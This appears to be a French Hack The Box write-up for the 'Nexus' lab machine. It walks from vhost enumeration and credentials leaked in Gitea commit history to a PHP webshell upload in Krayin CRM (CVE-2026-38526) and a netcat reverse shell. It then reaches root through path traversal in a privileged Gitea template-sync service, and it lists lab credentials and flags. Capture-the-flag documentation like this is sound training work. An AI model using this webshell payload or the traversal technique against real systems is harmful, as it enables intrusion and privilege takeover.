
# Write-up de la machine Nexus de Hack The Box couvrant la reconnaissance, la découverte d'identifiants Gitea, l'exploitation de Krayin CRM via CVE-2026-38526, l'accès initial et l'élévation de privilèges via un service de synchronisation de modèles Gitea vulnérable.
English 🇺🇸 | Español 🇪🇸
Nexus est une machine Linux de difficulté Facile de Hack The Box qui illustre une chaîne d'attaque en plusieurs étapes impliquant l'énumération d'hôtes virtuels, des identifiants exposés, une fonctionnalité d'application web vulnérable, l'exécution de code à distance, la réutilisation d'identifiants et l'élévation de privilèges locale.
Reconnaissance
│
▼
Énumération d'hôtes virtuels
│
├── git.nexus.htb
└── billing.nexus.htb
│
▼
Historique des commits Gitea
│
▼
Identifiants exposés
│
▼
Connexion Krayin CRM
│
▼
CVE-2026-38526
│
▼
Webshell PHP
│
▼
Reverse Shell
(www-data)
│
▼
Fichier .env de l'application
│
▼
SSH en tant que jones
│
▼
gitea-template-sync
│
▼
Traversée de chemin
│
▼
Dépôt Git malveillant
│
▼
SSH en tant que root
rootIP cible : 10.129.82.92
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
git.nexus.htb → Gitea
billing.nexus.htb → Krayin CRM
Ajoutez les hôtes découverts à /etc/hosts :
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
Naviguez vers :
http://git.nexus.htb
Un dépôt nommé :
admin/krayin-docker-setup
contient des informations utiles dans son historique Git.
Le fichier .env peut être récupéré à partir des commits précédents, révélant des identifiants qui ne sont plus présents dans la version actuelle.
| Service | Nom d'utilisateur | Mot de passe |
|---|---|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
L'adresse e-mail [email protected] a également été identifiée dans la section emploi du site web principal.
URL : http://billing.nexus.htb/admin/login
Email : [email protected]
Mot de passe : N27xh!!2ucY04
Naviguez vers :
/admin/mail/sent
Ensuite :
La charge utile est stockée dans :
exploits/CVE-2026-38526/shell.php
Charge utile :
<?php system($_GET["cmd"]); ?>
Les champs multipart pertinents sont :
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php
Après un téléversement réussi :
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id
Résultat attendu :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Démarrez un écouteur :
nc -lvnp 4444
Déclenchez ensuite le reverse shell via le webshell téléversé.
L'implémentation Python est disponible dans :
exploits/CVE-2026-38526/reverse_shell.py
À ce stade, le shell est obtenu en tant que :
www-data
Inspectez la configuration de Krayin :
cat /var/www/krayin/.env
Des identifiants sont trouvés :
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
cat /etc/passwd | grep sh$
Le compte jones est identifié.
Mot de passe :
y27xb3ha!!74GbR
f20cbf9aeb6bb228d356a42ff49c1933
systemctl list-units | grep -i gitea
Le service et la minuterie suivants sont identifiés :
gitea-template-sync.timer
gitea-template-sync.service
Le service s'exécute avec des privilèges élevés.
/etc/gitea/template-sync.py
Le mécanisme de synchronisation utilise une construction de chemin qui peut être abusée via une traversée de chemin.
Générez une paire de clés SSH :
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub
L'exploit de manipulation d'objets Git se trouve dans :
exploits/gitea_template_sync/exploit_git.py
Créez le dépôt :
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit
git init
python3 exploit_git.py
Le dépôt doit utiliser la branche :
main
Générez un jeton d'accès personnel via :
http://git.nexus.htb
Naviguez vers :
Settings → Applications
Configurez ensuite le dépôt distant :
git remote set-url origin http://jones:[email protected]/jones/exploit.git
Poussez le dépôt malveillant :
git push -f origin main
Surveillez le journal de synchronisation :
tail -f /var/log/template-sync.log
Une synchronisation réussie entraîne le traitement de l'arborescence Git malveillante par le service privilégié.
Exemple :
[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30] synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete
Une fois la clé publique SSH écrite dans le compte root :
ssh -i /tmp/nexus_root [email protected]
Vérifiez l'accès :
whoami
Résultat attendu :
root
Récupérez le drapeau root :
cat /root/root.txt
85be1d2a3084e387da0e7dd118908c63
| Drapeau | Valeur |
|---|---|
| User | f20cbf9aeb6bb228d356a42ff49c1933 |
| Root | 85be1d2a3084e387da0e7dd118908c63 |
Ces identifiants appartiennent à l'environnement de laboratoire Hack The Box documenté par ce dépôt.
htb-labs-nexus/
├── README.md
├── exploits/
│ ├── CVE-2026-38526/
│ │ ├── shell.php
│ │ ├── reverse_shell.py
│ │ └── burp_request.txt
│ └── gitea_template_sync/
│ ├── exploit_git.py
│ ├── create_repo.sh
│ └── key.pub
├── scripts/
│ ├── linpeas.sh
│ ├── LinEnum.sh
│ └── enum_services.sh
├── assets/
│ ├── nmap_scan.txt
│ ├── gobuster_vhost.txt
│ └── credentials.txt
├── screenshots/
│ ├── gitea_repo.png
│ ├── crm_login.png
│ ├── webshell.png
│ └── root_flag.png
└── notes/
├── methodology.md
├── commands.md
└── credentials.md
Ce dépôt est destiné à des fins éducatives et à des tests de sécurité autorisés uniquement.
Les techniques, identifiants, exploits et commandes documentés ici ne doivent pas être utilisés contre des systèmes sans autorisation explicite.
root peut devenir un vecteur d'élévation de privilèges.⭐ Si ce write-up vous a été utile, pensez à mettre une étoile au dépôt.
| Service | Nom d'utilisateur | Mot de passe / Clé |
|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
| Jeton Gitea | jones | 1dd7105bf7e57cad02c5a56af5d92703a7839364 |
| SSH | jones | y27xb3ha!!74GbR |
| SSH Root | root | /tmp/nexus_root |
| Outil | Objectif |
|---|
| Nmap | Énumération des ports et services |
| Gobuster | Énumération des hôtes virtuels |
| Burp Suite | Interception et modification des requêtes HTTP |
| Git | Analyse de dépôts et construction de dépôts malveillants |
| Python 3 | Scripts d'exploitation |
| Netcat | Écouteur de reverse shell |
| LinEnum | Énumération Linux |
| LinPEAS | Énumération pour l'élévation de privilèges |
| SSH | Accès distant |